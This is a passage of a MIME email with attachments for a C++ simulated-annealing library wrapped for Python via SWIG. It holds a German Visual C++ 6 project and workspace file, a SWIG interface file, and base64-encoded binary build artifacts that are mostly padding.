Cj0OPRI9Fj0aPeA95D0AAACQAgCsAAAApDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQx
HDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxoDGoMawxsDG0MbgxvDHAMcQxyDHMMdAx1DHYMdwx
4DHkMegx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgy
TDJQMmAyZDJoMmwycDJ0MngyfDKAMoQykDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA
--------------090302080802010307050504
Content-Type: text/plain;
 name="simannealfile.dsp"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
 filename="simannealfile.dsp"

# Microsoft Developer Studio Project File - Name="simannealfile" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** NICHT BEARBEITEN **

# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102

CFG=simannealfile - Win32 Debug
!MESSAGE Dies ist kein gültiges Makefile. Zum Erstellen dieses Projekts mit NMAKE
!MESSAGE verwenden Sie den Befehl "Makefile exportieren" und führen Sie den Befehl
!MESSAGE 
!MESSAGE NMAKE /f "simannealfile.mak".
!MESSAGE 
!MESSAGE Sie können beim Ausführen von NMAKE eine Konfiguration angeben
!MESSAGE durch Definieren des Makros CFG in der Befehlszeile. Zum Beispiel:
!MESSAGE 
!MESSAGE NMAKE /f "simannealfile.mak" CFG="simannealfile - Win32 Debug"
!MESSAGE 
!MESSAGE Für die Konfiguration stehen zur Auswahl:
!MESSAGE 
!MESSAGE "simannealfile - Win32 Release" (basierend auf  "Win32 (x86) Dynamic-Link Library")
!MESSAGE "simannealfile - Win32 Debug" (basierend auf  "Win32 (x86) Dynamic-Link Library")
!MESSAGE 

# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe

!IF  "$(CFG)" == "simannealfile - Win32 Release"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Release"
# PROP Intermediate_Dir "Release"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x407 /d "NDEBUG"
# ADD RSC /l 0x407 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386

!ELSEIF  "$(CFG)" == "simannealfile - Win32 Debug"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "Debug"
# PROP Intermediate_Dir "Debug"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /GZ /c
# ADD CPP /nologo /MTd /W3 /GX /Od /I "$(PYTHON_INCLUDE)" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x407 /d "_DEBUG"
# ADD RSC /l 0x407 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib $(PYTHON_LIB) /nologo /dll /incremental:no /machine:I386 /out:"simannealfile.dll" /libpath:"C:\Python21\libs"
# SUBTRACT LINK32 /debug

!ENDIF 

# Begin Target

# Name "simannealfile - Win32 Release"
# Name "simannealfile - Win32 Debug"
# Begin Group "Quellcodedateien"

# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File

SOURCE=.\basisfile.cpp
# End Source File
# Begin Source File

SOURCE=.\calculate.cpp
# End Source File
# Begin Source File

SOURCE=.\evaluate.cpp
# End Source File
# Begin Source File

SOURCE=.\safe_string.cpp
# End Source File
# Begin Source File

SOURCE=.\simannealfile.cpp
# End Source File
# Begin Source File

SOURCE=.\simannealfile_wrap.cpp
# End Source File
# Begin Source File

SOURCE=.\variable.cpp
# End Source File
# End Group
# Begin Group "Header-Dateien"

# PROP Default_Filter "h;hpp;hxx;hm;inl"
# Begin Source File

SOURCE=.\basisfile.h
# End Source File
# Begin Source File

SOURCE=.\calculate.h
# End Source File
# Begin Source File

SOURCE=.\evaluate.h
# End Source File
# Begin Source File

SOURCE=.\safe_string.h
# End Source File
# Begin Source File

SOURCE=.\simanneal.h
# End Source File
# Begin Source File

SOURCE=.\variable.h
# End Source File
# End Group
# Begin Group "Ressourcendateien"

# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
# End Group
# Begin Source File

SOURCE=.\simannealfile.i

!IF  "$(CFG)" == "simannealfile - Win32 Release"

!ELSEIF  "$(CFG)" == "simannealfile - Win32 Debug"

# Begin Custom Build - SWIG Routine
ProjDir=.
InputPath=.\simannealfile.i
InputName=simannealfile

"$(ProjDir)\$(InputName)_wrap.cpp" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
	echo In order to function correctly, please ensure the following environment variables are correctly set: 
	echo PYTHON_INCLUDE: %PYTHON_INCLUDE% 
	echo PYTHON_LIB: %PYTHON_LIB% 
	echo on 
	swig -python -c++ -o $(ProjDir)\$(InputName)_wrap.cpp $(InputPath) 
	
# End Custom Build

!ENDIF 

# End Source File
# End Target
# End Project

--------------090302080802010307050504
Content-Type: text/plain;
 name="simannealfile.dsw"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
 filename="simannealfile.dsw"

Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNUNG: DIESE ARBEITSBEREICHSDATEI DARF NICHT BEARBEITET ODER GELÖSCHT WERDEN!

###############################################################################

Project: "simannealfile"=.\simannealfile.dsp - Package Owner=<4>

Package=<5>
{{{
}}}

Package=<4>
{{{
}}}

###############################################################################

Global:

Package=<5>
{{{
}}}

Package=<3>
{{{
}}}

###############################################################################


--------------090302080802010307050504
Content-Type: text/plain;
 name="simannealfile.i"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simannealfile.i"

%module simannealfile

%{
#include "simanneal.h"
#include "calculate.h"
#include "evaluate.h"
#include "safe_string.h"
#include "calculate.h"
%}


%rename(cleany) simanneal_varlist::clean();
%rename(calc_4args) calculate(struct variable &,struct variablelist *,struct basisfile *,struct string *); 
%rename(cat_string) &string::cat(string &);
%rename(copy_string) &string::copy(string &);
%rename(copy_char) &string::copy(char *);
%rename(copy_dl) string::copy(double ,long );
%rename(copy_i) string::copy(int );
%rename(ncopy_string_i) &string::ncopy(string &,int );
%rename(compose_str_str_char) &string::compose(string &,string &,char *);
%rename(compose_str_char_char) &string::compose(string &,char *,char *);
%rename(compose_str_d_char) &string::compose(string &,double ,char *);
%rename(compose_struct_string) string::compare(struct string &);
%rename(strcompspan_chari) string::string_complement_span(char *,int );
%rename(strcompspan_struct_stringi) string::string_complement_span(struct string &,int );
%rename(stringspan_struct_stringi) string::string_span(struct string &,int );
%rename(stringstring_struct_string_char) string::string_string(struct string &,char *);
%rename(stringstring_structstring_structstring) string::string_string(struct string &,struct string &);
%rename(filewrite_string_char) string::filewrite(string &,char *);
%rename(strprint_structstring_char_char) strprint(struct string &,char *,char *);
%rename(strprint_structstring_int_char_char) strprint(struct string &,int ,char *,char *);
%rename(simulated_annealing_6args) simulated_annealing::simulated_annealing(struct variablelist *,struct basisfile *,struct evaluate *,int ,double ,struct string *);
%rename(string_int_char) string::string(int ,char *);
%rename(string_char_char) string::string(char *,char *);
%rename(string_string_char) string::string(string &,char *);


%include simanneal.h
%include calculate.h
%include evaluate.h
%include safe_string.h
%include calculate.h




--------------090302080802010307050504
Content-Type: application/octet-stream;
 name="simannealfile.ncb"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="simannealfile.ncb"

TWljcm9zb2Z0IEMvQysrIHByb2dyYW0gZGF0YWJhc2UgMi4wMA0KGkpHAAAABAAAAQBpALwB
AADgDkYBZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
DIACEDgAg/9HAAD/////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
